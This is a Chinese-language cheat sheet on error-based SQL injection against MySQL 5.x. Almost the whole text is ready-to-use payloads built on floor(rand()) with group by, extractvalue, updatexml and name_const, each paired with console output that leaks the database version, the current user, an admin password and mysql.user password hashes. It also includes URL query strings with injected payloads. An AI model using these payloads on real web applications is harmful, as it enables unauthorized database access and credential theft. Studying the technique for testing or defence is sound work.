在MySQL 5.1+ 数据库上,常用的报错注入利用 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:首先进行正常查询: mysql> select * from article where id = 1; +—-+——-+———+ | id | title | content | +—-+——-+———+ | 1 | test | do it | +—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue 测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml 测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’
?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
